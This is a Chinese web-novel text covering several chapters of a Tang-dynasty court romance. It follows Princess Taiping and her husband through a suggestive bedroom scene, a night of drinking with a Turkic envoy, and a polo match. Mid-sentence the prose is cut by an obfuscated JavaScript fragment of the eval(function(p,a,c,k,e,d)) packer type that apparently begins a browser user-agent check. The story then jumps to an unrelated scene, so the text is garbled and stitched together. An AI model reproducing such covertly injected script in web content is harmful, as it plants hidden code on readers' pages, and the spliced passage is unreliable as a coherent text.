刘皓南独坐寝殿窗下小案前,并未就寝。案上摊开着一卷画轴,纸张已显陈旧,颜色却依旧鲜艳——《西域春荡图》。画中背景是壮丽又险峻的悬崖,一道绳索秋千悬于深谷之上。秋千上,一对年轻男女肢体紧密交缠,男子劲瘦的腰身绷出充满力量感的弧线,将怀中女子牢牢锁在怀中,女子长发飞扬,容颜依稀是太平年少时的模样,笑容明媚恣意,带着惊险与极致的欢愉。 这画,描绘的正是薛绍十九岁、与太平新婚不久时,于西域某处险地的“秘戏”。是两人炽热爱恋与青春冒险的见证。 轻微的脚步声自身后响起。 刘皓南心头一跳,不及细想,几乎是本能地,迅速将画卷拢起,欲要掩藏。 一只微凉柔滑的手,却比他更快,自他肩后伸出,指尖一勾,便将那卷画轴轻巧地抽走。 太平不知何时已醒,只披着一件他的宽大外袍,赤足站在他身后。就着案上昏黄的灯火,她展开画轴,目光落在画中那对纠缠的身影上,尤其在那青年紧绷如弓弦的腰线处流连片刻。 随即,她抬起眼,眼尾因初醒而染着淡淡的红,更漾开一层戏谑又慵懒的水光,唇角勾起: “哟,薛都尉大半夜不睡,这是……在重温旧梦,缅怀自己逝去的‘青春’与‘雄风’?” 她指尖点着画中薛绍那截在悬崖秋千上依旧稳如磐石的腰,语气拖得长长的: “啧啧,当年这腰,悬在千仞深渊之上,秋风凛冽,尚能缚得住本宫,没让本宫掉下去……如今嘛,阿绍你……” 她上下打量着他,目光在他腰腹间转了转,虽隔着寝衣,但那审视的意味不言自明,“二十六了,可不是十九。这腰,可还经得起……崖边那般激烈的‘风月’?嗯?” 最后那一声“嗯”,尾音上挑,带着赤/裸/裸的调侃与某种隐秘的、关于年龄与“能力”的试探。 刘皓南身体几不可察地僵了一瞬。白日里阿史那延陀英姿勃发、充满生命力的模样,与眼前画中薛绍年轻矫健的身姿,以及太平此刻半真半假的调侃,交织在一起,竟在他心底最深处,勾起一丝极淡的、连他自己都未曾深究的……波澜。那是属于男人的、微妙的不服,与一丝被时光与身份追赶的、难以言喻的紧迫感。 他忽然伸手,扣住了太平拿着画轴的手腕,微微用力,便将她带入怀中,让她跌坐在自己腿上。手臂环住她不盈一握的腰肢,将她牢牢锁在胸前。他低头,逼近她的脸,鼻尖几乎相触,气息交融,声音低哑,带着一种前所未有的、混合了认真与某种执拗的追问: “阿史那延陀,七年前便敢对殿下高歌《敕勒歌》,直抒胸臆。如今他正当盛年,品貌英武,箭术超群,更添沉稳……殿下当年,选了我这个薛氏嫡次子,一个看似温吞守礼、不及他鲜衣怒马、快意恩仇的‘薛绍’……” 他顿了顿,目光深深看进她眼底,一字一句,问得清晰: “可曾……觉得委屈?” 太平被他这突如其来的、近乎较真的问题问得一愣。随即,她眼中漾开更浓的笑意,仿佛听到了什么有趣的话。她非但没有退缩,反而仰起脸,张口,不轻不重地咬在他上下滑动的喉结上,贝齿碾磨,带来细微的刺痛与酥麻,气息喷吐: “委屈?阿绍若是再这么整日琢磨这些有的没的,不好好保养,真等到老态龙钟、腰酸背痛那日,本宫才真要觉得委屈了呢……唔!” 话音未落,唇已被他狠狠封缄。 那是一个不同于以往温和的、甚至带着几分凶狠与掠夺意味的吻,仿佛要将她方才那些关于“年龄”、“腰力”的调侃,连同那画中年轻薛绍带来的无形压力,一同吞噬、碾碎。 两人纠缠着,从椅中起身,跌跌撞撞倒向一旁的软榻。动作间,一件杏子红绣缠枝莲的兜衣,与刘皓南的青色蹀躞革带,一同被扫落,斜斜挂在榻边一座紫檀木雕花屏风的翘角上,宛如一对被迫分离、却依旧交颈悬望的鸳鸯,在昏暗中轻轻晃荡。刘皓南喘息着,低头逼近太平因晕红迷离的脸,声音嘶哑,带着不容回避的执拗,再次追问: “臣……老了么?” 温泉水持续不断、哗啦作响、拍打着汉白玉池壁的、激烈到近乎狂暴的韵律。 翌日,晨光熹微。 报晓的晨钟尚未敲响,刘皓南已然起身。他动作放得极轻,熟练地为自己穿戴好绯色官袍,系上玉带,佩好银鱼袋与笏板。一切收拾停当,俨然又是那个沉稳持重、即将奔赴朝会的驸马都尉。 他回身,看向榻上。 太平依旧沉沉睡着,浑身赤/裸,只裹着一床厚重的锦被,遮得严严实实,只露出一截白皙纤细、却布满了新鲜红痕与浅浅指印的小腿。那只脚无力地蜷缩着,足趾微微勾起,陷在柔软的锦褥中,随着她均匀的呼吸,偶尔无意识地轻颤一下。 刘皓南走到榻边,俯身,目光掠过她恬静的睡颜,最后落在榻脚地毯上——那里,静静躺着昨夜那卷《西域春荡图》。 他弯腰,将其拾起。画卷边缘,因着昨夜的混乱与潮湿,已有些微皱。而在那描绘着悬崖秋千绳索的位置,赫然叠加着数道新鲜的、深深的指痕褶皱,凌乱交错,用力之猛,几乎要穿透纸背,仿佛有人曾于激情失控之际,狠狠攥紧此处,欲要将那截象征青春、冒险与“雄风”的虚幻绳索,连同某些无形的压力与比较,一同生生拽断。 刘皓南静静看了那指痕片刻,眸光幽深难辨。最终,他什么也没说,只是极轻、极缓地,将那卷承载了太多意味的画轴,重新卷好,然后,小心翼翼地,塞回了太平枕下深处。 仿佛将那场关于年龄的危机、男人的不服、与深夜激烈的证明,连同画中十九岁薛绍的身影,一并悄然掩埋。然后,他直起身,理了理并无一丝褶皱的官袍袖口,步履沉稳地,走向殿外渐渐亮起的天光。 69. 阿史那延陀 酉时三刻,暮色初合。 刘皓南刚刚自兵部衙署归来,踏入公主府所在的坊街,腰间象征职权的鎏金铜符尚未解下,便在府邸高耸的朱漆大门旁,那尊历经风雨、威严肃穆的石狮阴影下,瞥见了一个熟悉的身影。 阿史那延陀未着使团正装,只穿一身便于骑射的深褐色皮质胡服,腰间草草系着那条嵌绿松石的革带。他斜倚着冰凉的石狮基座,手中随意抛接着一个银光闪闪的扁圆形酒囊,见刘皓南走来,他眼睛一亮,手腕一收,稳稳握住酒囊,扬声道: “薛都尉!你们长安城,连马鞍的鞍桥都要鎏金粉、嵌珠玉,好看是好看,骑起来怕硌得慌吧?怎样,衙门里的规矩束缚了一天,骨头可还松快?不若趁着夜色,与我赛一场咱们草原上的‘野路子’?无拘无束,只论痛快!” 他话音清亮,带着草原夜风般的爽利,话音未落,人已动了! 不见他如何作势,身形已如鹞鹰般掠起,精准地落在公主府门前拴马石旁、一匹正由马夫牵引着、通体枣红、神骏异常的青海骢背上!那马儿正是公主府驯养的上等战马,性子颇烈,此刻被陌生人骑乘,顿时人立而起,发出愤怒的嘶鸣! 阿史那延陀却大笑一声,双腿如铁钳般夹住马腹,左手控缰,右手在闪电般探出,目标竟是刘皓南因散值而略松的发髻间,那支束发的青白玉簪! “借都尉玉簪一用!” “嗖——!” 玉簪被他以巧劲抽出,化作一道莹白的流光,破开暮色,直射向百步外坊街对岸、一株垂柳枝头悬挂的、写有灯谜的彩绢灯笼!“笃”的一声轻响,玉簪尖端竟不偏不倚,正正钉在了灯笼中央,那以朱笔书写的巨大“喜”字谜面中心!簪尾微颤,在渐起的晚风与初上的灯笼光晕中,泛着清冷的光泽。 这一下,挑衅、炫技、邀战,意味十足! 刘皓南眼神微凝,看着那在灯笼上轻颤的玉簪,又看向马背上笑容恣意、目光灼灼如星火的阿史那延陀。白日宫廷的规仪、身份的桎梏、心头那缕因陌生而生的疑虑,在这一刻,仿佛被这突如其来的、充满野性与生命力的“野路子”冲击得微微松动。 他未再多言,足尖一点,身形已飘然落在一旁自己的坐骑——那匹通体乌黑的突厥良驹背上。手腕一抖,缰绳已紧握在手。 “驾!” 两骑几乎同时发力,如离弦之箭,冲出坊街,朝着城门方向疾驰而去!马蹄嘚嘚,踏碎了沿路商铺门前渐次亮起的灯火倒影,也踏碎了刚刚降临的夜幕中,悄然浮现于道旁沟渠水面的、细碎摇晃的星月之光。 他们没有去皇家规整平坦的马场,而是径直出了启夏门,沿着城郊较为开阔的野地恣意奔驰。夜风扑面,带着泥土与青草的气息,将官袍的束缚与朝堂的算计暂时吹散。 阿史那延陀忽然发出一声清越的长啸,如同草原头狼对月而嚎。他于疾驰中猛地俯身,手臂舒展,竟从途经的一处废弃练武场边缘,捞起一根不知被哪个兵卒遗落的、以老竹制成的训练用钝头剑! 竹剑在手,他气势陡然一变,手腕翻转,剑风呼啸,竟扫向道旁一处官宦别业庑廊下栽种的海棠树!簌簌声中,尚未凋尽的海棠花瓣如红雨纷落。 “听闻薛都尉昔年随军,曾以寻常竹枝,破过契丹精锐的弯刀冲锋阵!今日无竹枝,这钝头竹剑,可堪都尉一试?!” 他朗声笑道,战意昂扬。 刘皓南眼中也掠过一丝锐光。他未去寻兵器,只于马背上折身,信手从道旁柳树上折下一段柔韧细长的柳枝,手腕一抖,柳枝破空,发出“啪”的一声脆响,竟隐隐有金铁之声。 两骑靠近,竹剑与柳枝于刹那间交击! “嗤——!” 没有金属碰撞的巨响,只有柔韧物体高速摩擦的细微锐响。柳丝看似柔弱,却在刘皓南精妙内力灌注下,如同拥有生命,瞬间缠绕上竹剑的锋芒,一牵一引,竟将竹剑刚猛的力道巧妙化去大半。 阿史那延陀“咦”了一声,正欲变招,刘皓南却已借着两马交错、柳枝缠绕的刹那,左手如电探出,五指成爪,用的并非中原擒拿,而是正宗的突厥摔跤术中扣拿腕脉关节的“锁狼手”! 阿史那延陀猝不及防,腕脉一麻,竹剑险些脱手。他低喝一声,腰腹发力,竟不挣脱,反而就着刘皓南扣拿之势,合身扑上! “砰!” 两人同时从疾驰的马背上跌落,滚入道旁松软的草坡之中,激起一片草屑尘土。 阿史那延陀被刘皓南反制在地,却不见恼怒,反而爆发出洪亮酣畅的大笑,震得草叶上的夜露都簌簌滚落: “好!好一招反‘锁狼’!这‘苍狼缚兔’的变招,可是当年我祖父亲自教给颉利可汗,用以近身搏杀的保命绝技!薛绍啊薛绍,你这几年躲在长安,功夫倒是一点没撂下,还更精进了!” 刘皓南松开了手,就势躺在草地上,胸膛微微起伏,也忍不住笑了。这一番毫无花巧、全凭本能与经验的较量,仿佛瞬间将那些隔在两人之间的、由身份与时间构筑的陌生高墙,砸开了一道裂缝。阳光、风沙、并肩御敌的记忆或许不再,但这搏击中的热血与畅快,却如此真实。 两人躺在草坡上,望着头顶渐渐清晰的星河,半晌无言,只有夜风吹过草尖的沙沙声,与彼此逐渐平复的喘息。 “走!喝酒去!” 阿史那延陀一个鲤鱼打挺跃起,拍了拍身上的草屑,伸手将刘皓南也拉了起来,“我知道你们长安规矩多,我带了酒,去你府里喝!就坐台阶上喝!看看是你长安的规矩硬,还是我草原的马奶酒烈!” 公主府,后园僻静处。 阿史那延陀果然毫无顾忌,一屁股坐在冰凉的青石台阶上,从怀里摸出那个银酒囊,又变戏法似的,不知从何处提出两坛未开封的、印着突厥纹饰的皮囊酒。酒坛被他随意搁在石阶上,咕噜噜滚成一串,在月光下泛着粗犷的光泽。 他拍开一坛泥封,浓烈辛呛的马奶酒气瞬间弥漫开来。他仰头灌了一大口,辛辣的液体顺着嘴角溢出,他豪迈地用手背一抹,随即扯开自己胡服的衣领,露出肌肉结实的胸膛。 月光清冷,如水银泻地,清晰地照见他胸前交错纵横的数道疤痕。最长的一道,自左肩斜划至右肋,颜色深褐,狰狞蜿蜒,在月光下如同一条沉睡的银蛇,无声诉说着过往的惨烈与荣光。 “在草原,” 阿史那延陀的声音在酒意熏染下,更显低沉浑厚,带着一种遥远的、近乎怀念的苍茫,“喝醉了,倒头就睡。天是被,地是床,运气好,还能偎着刚下崽的母狼取暖,它肚皮最软和,奶香能勾出馋虫。” 他嗤笑一声,带着毫不掩饰的、对长安精致束缚的嘲弄,忽然抬脚,将旁边一座碍事的、用以分隔园景的螺钿镶嵌珊瑚小屏风,“哐当”一声踢翻在地! “哪像你们长安!” 他指着那倾倒在地、依旧难掩华美的屏风,语气夸张,“连他娘的打個酒嗝,是不是都得先翻翻那劳什子《礼记》卷三,看看该用什么音律、什么节奏,才不算失礼,不辱斯文?!啊?薛都尉,你说,憋不憋屈?!” 刘皓南静静看着他,没有制止他踢翻屏风的“无礼”,也没有反驳他对长安“礼教”的讥讽。他走到另一坛酒前,也拍开泥封,浓烈的酒气扑面而来。他没有用碗,直接双手捧起沉重的酒坛,仰头,澄澈辛辣的酒液倾泻而下,有些溅出坛口,泼湿了他自己的前襟,也溅了几滴在阿史那延陀绣着金线的胡袍袖口上。 冰凉的酒液划过喉咙,如同刀子,却带来一种痛快的灼烧感。刘皓南放下酒坛,任由酒液顺着微湿的下颌滴落,声音因烈酒而有些低哑: “当年,我随商队穿越漠北‘死亡沙碛’,断水三日。渴到极处,见马鞍皮革缝里,夜里凝了些许霜露,便以刃尖小心刮取,舌舔掌心,方得一丝湿润续命。那滋味……毕生难忘。” 他抬起头,目光仿佛穿透了公主府精致的亭台楼阁,望向了记忆深处那片浩瀚无垠、星空低垂的塞外草原。手中的酒坛,粗糙的皮质纹路,在月光下竟与记忆中盛水的羊皮囊有几分相似。恍惚间,那倒映在羊皮囊浑圆表面的、清晰无比的北斗七星,仿佛再次浮现于眼前,与头顶长安的星空隐隐重合。 阿史那延陀闻言,猛地转过头,死死盯着刘皓南。眼中的醉意与不羁似乎消散了些,取而代之的是一种深切的、找到同类般的激动与共鸣。他忽然不再说话,而是以指节重重叩击身旁的石阶,喉间发出低沉而苍凉的调子。 起初只是几个音节,随即越来越响,越来越急,那是一首突厥草原上流传极广的情歌,歌词大意是远行的儿郎思念故乡的姑娘。他的歌声算不得优美,却充满了原始的生命力与情感,如同荒原上骤然燃起的野火,炽烈、奔腾、带着灼人的温度,瞬间席卷了这方精致的园囿。 “我妹妹……乌仁图雅……” 歌声渐歇,阿史那延陀的声音带上一丝不易察觉的沙哑,他望着虚空,眼神有些空茫,“十六岁,嫁给了回纥可汗的第三个儿子。送亲那日,按规矩,她该穿着沉重的嫁衣,坐在缀满宝石的轿子里。可她……她半路掀了盖头,跳下轿子,赤着脚,疯了一样跑过了三个部落的草场,跑到我面前,头发散了,珠冠掉了,就为了……就为了再让我这个哥哥,亲手给她编一次辫子……” 他仰头,将坛中残酒一饮而尽,重重将空坛顿在石阶上,发出闷响: “若在你们长安……” 他扯了扯嘴角,笑容有些惨淡,“她怕是连自己掀开盖头看一眼夫君的模样,都要等那劳什子司天监,算出个黄道吉时,才算不冲撞,不晦气吧?啊?” 刘皓南沉默地听着,没有回答。他知道,此刻任何言语都是苍白的。他只是再次捧起酒坛,与阿史那延陀手中另一个空坛,轻轻一碰。 陶坛相撞,声音沉闷,却似有千言万语。 酒意愈浓,话题不知怎地,转到了窦娘子身上。 “窦娘子……” 阿史那延陀的眼神再次亮了起来,这次却混合着欣赏、不甘与深深的困惑,他无意识地攥紧了手中一只空了的陶碗,指节发白,“她射箭的时候,你知道么?那束起的发辫,随着她拉弓转身的动作,甩出来的弧度……像极了我们草原上,跑得最快的那匹野马,在逆风狂奔时,飞扬起来的、油光水滑的鬃毛!又亮,又韧,仿佛抽在人心尖上……” “我赠她九十九匹雪山白驹,那是我们部落最珍贵的礼物,象征着最纯洁的心意和最丰厚的聘礼。” 他声音低下去,带着挫败,“可她……她却用你们汉人那本《女诫》里的话,什么‘内外有别’,什么‘男女授受不亲’,硬邦邦、冷冰冰地,连同那些马,一起砸了回来!” “咔嚓”一声脆响!他手中的陶碗竟被他生生攥碎!锋利的碎片刺入掌心,鲜血顿时涌出,滴滴答答,落进旁边石阶上另一只盛着暗红葡萄酒的琉璃杯中,血珠在醇厚的酒液里缓缓下沉、晕开,如同雪地里骤然绽开的红梅,刺目惊心。 刘皓南看着他流血的手,没有立刻去找伤药,也没有出言安慰。他只是静静地,将目光投向庭院深处,那些被夜风惊扰、四处流窜的点点萤光。流萤明灭不定,如同人心中那些飘忽的、难以捉摸的念想。 “五姓七望的女儿,” 刘皓南缓缓开口,声音在寂静的夜里显得格外清晰,也格外冷静,甚至带着一丝洞察世情的悲悯,“生来便被赋予的使命,或许并非嫁人生子那般简单。她们是家族精心打磨、用以联结利益、稳固权势的‘礼器’,如同祭祀宗祠时,那尊最沉重、最光华内蕴、也最不容有失的……青铜鼎。华丽,稳固,象征着传承与秩序,却也……冰冷,注定要承载远超个人的重量。” 他忽然想起今日清晨,太平对镜染指甲时,随口哼起的那支带有突厥风味的《突厥盐》小调。当时只觉慵懒有趣,此刻想来,那随意哼出的异域旋律,与眼前这位为情所困的突厥汉子,与那位身负枷锁却心向自由的窦娘子,竟形成一种微妙而悲哀的映照。 刘皓南伸出手指,蘸了蘸石阶上积聚的、混合了血与酒的湿痕,在冰凉的石面上,缓缓画了一道迂回曲折、最终指向远方的弧线。 “草原的鹰隼,目光锐利,可追逐流云,可搏击长空。” 他低声道,指尖在弧线的尽头轻轻一点,“可若它一心只想强行攫住天边那抹可望不可即的霓虹,反倒容易因急切而迷失方向,惊散了那本就脆弱的华彩。不如……任那霓虹自在舒卷,鹰隼只需乘风而起,保持距离,静静守望。如此,虽不能拥有,却至少能永远看清它每一刻变幻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我窦怀玉,自幼读的是《汉书》,慕的是班定远(班超)投笔从戎、立功异域、以三十六人定西域的胆魄与功业!我想学的,是凭手中剑、掌中书,在这广袤天地间,留下属于我窦怀玉、而非某某氏女的印记!不是学那出塞和亲、将一生悲欢系于男子恩宠、家族兴衰的……王昭君!” 太平斜倚在旁边的贵妃榻上,手中把玩着一柄金簪,闻言,轻轻“嗤”了一声,语气听不出是赞是讽: “好志气。可惜,你窦家那‘女子不预外事、不涉政争’的祖训,传承了十几代,比突厥可汗手中最硬的马鞭,还要狠上三分,早已刻进你们这些嫡女的骨血里。想挣脱?谈何容易。” “所以我才撕了与范阳卢氏的婚书,逃来公主府,求殿下庇护!” 窦娘子猛地转过身,声音因激动而微微提高。她忽然抬手,拔下了头上那根固定发髻的素银长簪! 如云乌发,瞬间失去了束缚,轰然倾泻而下,如瀑如绸,披散满肩,甚至遮住了她大半张脸,只露出尖俏的下巴和一双燃烧着决绝火焰的眼眸。 “阿史那延陀的眼睛……” 她隔着一层青丝的帘幕,看向太平,声音低了下去,却带着一种奇异的颤抖,“像极了我在陇右时,见过的最神骏的鹰隼。锐利,明亮,盯着猎物时,专注得仿佛全世界只剩下那一个目标。可是……” 她顿了顿,深吸一口气,仿佛用尽全身力气,一字一句道: “可是鹰隼,不该总是盯着绣架上一对儿被金线银线绣得死板板的鸳鸯!它该去追天边那抹瞬息万变、炽烈燃烧、任何丝线都绣不出的——火烧云!” 话音在殿内回荡,带着孤注一掷的勇气,与深藏眼底的、无人可诉的怅惘。 五更天,梆子声远远传来,寒意渐重。 公主府后园的狼藉依旧,酒气未散。阿史那延陀摇摇晃晃地站起身,脸上泪痕(或许是酒渍)已干,眼神却清明了不少。他走到靠坐在廊柱边、闭目养神的刘皓南身前,从自己贴身的衣物里,摸索出一枚以不知名兽骨雕刻、染着暗红纹路、穿着皮绳的护身符。 他弯腰,小心翼翼地将这枚带着体温的护身符,塞进了刘皓南靠着的锦垫之下。 “薛绍……” 他声音沙哑,拍了拍刘皓南的肩膀,力道不重,却带着男人间不言而喻的承诺,“草原永远欢迎你。你若来,我拆了金帐给你当马厩!最好的马,最烈的酒,最……最亮的星星,都分你一半!” 刘皓南缓缓睁开眼,看着他。没有说什么“使不得”、“太贵重”之类的客套话。他只是默默解下了自己腰间一枚常年佩戴的、质地上乘的羊脂白玉佩——那并非御赐之物,而是薛家旧物,纹样简洁,触手生温。 他将玉佩系在了阿史那延陀腰间那条镶嵌绿松石的蹀躞革带上,打了个牢固的结。 “长安城,永兴坊最深处,有家不起眼的小酒肆,掌柜是个退伍的老府兵。” 刘皓南的声音平静,却带着一丝罕见的温度,“他酿的‘烧刀子’,取关中最烈的高粱,埋地三年方启封。入口如刀,过喉如火,直烧到肠胃里。比马奶酒……多三分穿肠裂腑的痛快,也多三分……长安特有的、压在烈性下的,百转千回。” 阿史那延陀低头,看着腰间那枚温润的白玉,又抬头看向刘皓南。四目相对,无需再多言语。一种超越种族、身份、立场,纯粹基于今夜这场毫无保留的较量、痛饮、倾诉而生的、男人之间的相知与敬重,在此刻悄然滋生,牢固如磐石。 晨曦终于艰难地穿透了厚重的云层与窗棂。 微光渗入室内,将两道倚靠在一处、沉沉睡去的高大身影,模糊地投映在粉白的墙壁上。影子随着呼吸微微起伏,边缘交融,恍惚间,竟似一头收拢利爪暂憩的苍狼,与一只敛起锋芒假寐的豹,在破晓前最寂静的时刻,短暂地相依。 第一缕天光彻底照亮庭院时,奉命前来打扫的仆役,惊讶地发现,昨夜被剑风扫落、又被脚步与醉汉碾踏过的海棠残红,那些破碎的花瓣,竟不知是巧合,还是冥冥中的注定,深深嵌入了青砖地面的缝隙之中。 瓣瓣零落,却隐隐拼合出一个残缺的、扭曲的、却依旧可辨的图案—— 那是一个古老的、属于草原某个部落的、象征“友谊”与“守望”的狼首图腾。 一半在光下,一半在阴影里。 宛如史书汗青卷册中,那无数被浓墨重彩的权力争斗,邦交博弈所掩盖、所擦除的,所有真挚却未能宣之于口、更未能见于天日的—— 刹那相知。 70. 大唐与突厥马球赛 辰时未至,天色犹自昏蒙,昆明池畔却已是另一番天地。 三面高逾三丈、以各色蜀锦、越罗、缭绫精心裁拼而成的巨大彩缎围屏,如同三座斑斓的移动山峦,将赛场核心区域严密合围,隔绝了外间窥探,也营造出皇家赛事特有的、堂皇而神秘的氛围。围屏之前,一座巍峨的丹陛观礼台已以紫檀木为主料搭就,雕梁画栋,饰以金玉,在晨曦微光中泛着沉静奢华的光泽。高宗李治与武后并坐于台心最高处,身侧是两列高达九尺、点燃了数百支鲸脂巨烛的“九枝连珠”鎏金铜灯,烛光煌煌,驱散着清晨的寒意,也将帝后威仪映照得愈发庄严。太子李贤与相王李旦分侍左右,皆着亲王常服,神色端凝,目光投向下方赛场。 围屏之内,池东特意辟出的大片沙地,已由工部能匠依照前朝《温汤御球赋》中记载的“平望若砥”秘法,以巨石反复碾压,掺入特制胶土,泼洒桐油,最终夯筑得平整坚硬,光可鉴人,竟能将上方旌旗、人影乃至远处殿宇飞檐的模糊倒影,隐约映照其上,远远望去,恍若有千军万马的静默影子潜伏地底,只待号令,便会破土而出,更添肃杀与壮观。 “咚——!咚咚咚——!” 鸿胪寺卿亲执鼓槌,重重敲响了架设在丹陛台前的一面硕大鼍皮战鼓!鼓声雄浑沉厚,如同远古巨兽的心跳,瞬间压下了所有的嘈杂,宣告着“长安马球会”的正式开始。 鼓声余韵中,一队二十四名身着轻薄绚烂波斯舞衣、面覆金纱的胡姬,踏着由龟兹乐工现场奏响的、充满异域风情的急促鼓点与弦音,如彩蝶般旋入场地中央。她们每人手中托举着一枚镂空木胎、外裹七宝(金、银、琉璃、玻璃、砗磲、赤珠、玛瑙)细片、在灯火下流光溢彩的马球。随着领舞者一个曼妙而有力的抛掷动作,二十四枚彩毬齐齐飞向空中,划出数十道璀璨夺目的弧线——其形制、大小、乃至那令人目眩的华彩,竟与章怀太子墓中壁画《马球图》上所绘的“彩毬”如出一辙,瞬间将现场氛围推至第一个高潮! “突厥使团,入场——!” 通赞官高亢的唱名声中,围屏东侧入口轰然洞开。 阿史那延陀一马当先,率先策马踏入这片被无数目光炙烤的赛场。他今日未着使团礼服,依旧是一身利于行动的赭色翻领窄袖胡袍,只是质地更为精良,襟口与袖缘以金线绣着狰狞的狼头纹样。晨风猎猎,灌满他宽大的袍袖与衣襟,更衬得他肩背挺拔如蓄势待发的苍狼弓弦,充满了力量与弹性。眉骨深邃,鼻梁高挺,一双眼睛在晨光与四周煌煌灯火的映照下,锐利如高原上最桀骜的鹰隼,顾盼间自有草原雄鹰睥睨长空、舍我其谁的锐气与骄傲。 他身后,十名精挑细选的突厥骑士紧随而入,人人皆骑乘此次进贡的汗血宝马,马匹神骏,通体枣红,唯四蹄雪白,马鞍鞯辔皆饰以狰狞的鎏金狼头,马蹄嘚嘚,踏碎池边尚未完全融化的薄冰,发出清脆的碎裂声,更添凛冽寒意。 阿史那延陀控住战马,于场地中央勒缰而立,目光如电,扫过对面严阵以待的唐军马球队,最后定格在刘皓南身上。他猛地扬起手中球杖,振臂高呼,声音穿金裂玉,用的是最古朴的突厥战号,充满原始的野性与战意: “呜嗬——!!长生天庇佑的草原儿郎们!让长安城的贵人们,好生见识见识,什么是草原上真正的——雷霆风暴!” 球杖在空中划过一道凌厉的弧线,直指对面球门!挑衅之意,溢于言表。 对面,刘皓南端坐于那匹通体乌黑的骏马之上,一身利落的靛青色骑射胡服,衬得他身形挺拔如松。面对突厥队扑面而来的汹汹气势与阿史那延陀赤裸裸的挑衅,他面色沉静如水,只缓缓抬起手中月杖,轻轻向下点了三下地面。 “嗒、嗒、嗒。” 声音不大,却仿佛带着奇异的韵律。身后十名唐军骑士闻声,原本略有些紧绷的阵型瞬间微调,化为一种首尾相顾、圆转如意的“双鲤衔尾”阵,缓缓向前移动,步伐稳定,不疾不徐,竟似全然不受对方激昂气势的影响。这正是《李卫公问对》中“以静制动,后发制人”的战术思想体现,以沉静应对躁动,以有序化解无序。 “铛——!” 一声清脆的铜锣巨响,撕破空气! 初局,开始! 几乎在锣响的同一刹那,突厥队十骑如同被同时松开弓弦的利箭,轰然迸发!马蹄践踏,尘土飞扬,以阿史那延陀为锋矢,呈尖锐的楔形阵,朝着唐军队列最薄弱的结合部,悍然冲锋!速度之快,气势之猛,令人窒息! 阿史那延陀一马当先,在疾驰中猛地侧身,整个上半身几乎与马背平行,仅以左足勾住马镫,右腿凌空——正是其招牌绝技“镫里藏身”!于此颠簸疾驰、难以发力的状态下,他手中球杖如臂使指,看准地上翻滚的彩毬,手腕连续三次极小幅度的疾抖! “砰!砰!砰!” 三声短促而沉闷的击毬声几乎连成一线!那彩毬受此巨力,并未高高飞起,反而贴着被夯实的坚硬地面,划出一道诡异而迅疾的低平弧线,如同长了眼睛的毒蛇,从两名唐军骑士的马蹄缝隙间钻过,又险之又险地绕过第三名试图拦截的骑士,然后—— “唰!” 彩毬精准无比地穿过唐军队球门中央那仅比球略大一圈的赤铜圆环!铜环被撞,发出“嗡”的一声清鸣,兀自颤动不已。 “好——!!!” 突厥使团所在的观礼帐下,顿时爆发出山呼海啸般的欢呼与震天动地的羯鼓声!骨咄禄可汗更是大笑起身,从怀中掏出一枚黄澄澄的金铤,信手掷入场中,赏赐首功! 唐军队这边,气氛微微一滞。右翼的卢衡年轻气盛,见开局不利,又闻对方欢呼刺耳,心中焦躁,不待刘皓南指令,便猛夹马腹,试图单骑突进,抢攻扳回一城。 然而,他刚刚冲出本阵不到十步,斜刺里一名体型格外魁梧、如同铁塔般的突厥骑士已狞笑着策马撞来!那人竟不避不让,纯粹以肩膀硬撼卢衡马匹的侧肋!同时手中球杖横扫,并非击球,而是直取卢衡持缰的右臂! “咔嚓!” 令人牙酸的骨骼错位声与闷响同时传来!卢衡惨叫一声,整个人被巨大的冲力从马背上撞飞出去,重重摔在坚硬的地面上,右臂以一个不自然的角度扭曲着,当场脱臼,更兼锁骨处传来钻心剧痛!医官飞奔入场查看,脸色骤变,惊呼出声:“锁骨……裂了!如同被重锤砸开的残冰!” 出师不利,折损大将!唐军队列中弥漫开一丝不安。 刘皓南目光扫过被抬下场的卢衡,眼中寒光一闪即逝,面色却依旧沉静。他手中月杖倏然扬起,在空中划出一个奇特的十字轨迹。 阵型骤变! 原本圆转的“双鲤衔尾”阵瞬间舒展,化为两翼张开、形如仙鹤展翅的“鹤翼围罗阵”!阵型变化迅捷而精准,两翼如铁钳般猛然合拢,恰好将因抢攻得手而略显突前的两名突厥骑士兜入阵中,暂时遏制了突厥队如潮的攻势。 趁此机会,左侧翼的程家小将程怀义,眼中凶光一闪,暴喝一声,竟不再拘泥于常规的击毬路线,而是将手中球杖当作□□使用,一个漂亮的“犀牛望月”式俯身,竹制杖头精准地挑中地上彩毬,手腕猛抖—— 彩毬应声而起,并非直射球门,而是划出一道诡异的高抛弧线,越过前方一名突厥骑士奋力扬起的球杖和惊愕抬起的马首,然后急速下坠!这轨迹,赫然化用了其先祖薛仁贵“三箭定天山”时,那穿越敌阵、直取敌酋的传奇箭道! “噗”一声轻响,彩毬穿过铜环,落入网中。 “哗——!” 唐军看台方向,爆发出压抑后释放的雷鸣般喝彩!许多原本悬着心的官员将领,纷纷抚掌。 阿史那延陀勒住战马,回头看着那颗落入网中的彩毬,又看向阵型严整、目光沉静的刘皓南,非但没有恼怒,反而仰头发出一阵酣畅淋漓的大笑: “好!好一个薛绍!声东击西,暗度陈仓!这仗打得,才有些意思!” 第三局,战至日昳(太阳偏西)。 双方已是人马俱疲,汗水浸透衣甲,场中尘土混合着草屑飞扬。那枚特制的七宝彩毬,在经历了无数次猛烈撞击后,木胎已现出数道细微裂纹,华彩稍褪。 战况陷入胶着,突厥骑□□良,个人勇力惊人;唐军阵法严谨,配合默契,双方你來我往,进球交替上升,比分死死咬住。 刘皓南观察着对手因久战而略显沉重的马蹄,与骑士们因急躁而微微散乱的呼吸,眼中精光一闪。他忽然高举月杖,用力向下一挥,同时口中发出一声短促的清啸! 令人意想不到的一幕发生了——十名唐军骑士,竟在同一时间,齐齐翻身下马。动作整齐划一,毫不犹豫。 落地瞬间,十人迅速以手中球杖为短兵,三人一组,背靠而立,结成一个缩小版的、用于步兵对抗骑兵的“撒星枪阵”!阵型看似松散,实则彼此呼应,将冲击面降至最低,专克骑兵集团冲锋的威力。 突厥队的冲锋之势顿时为之一滞。骑对步,速度优势难以发挥,反而要小心对方专扫马腿的“下三路”打法。 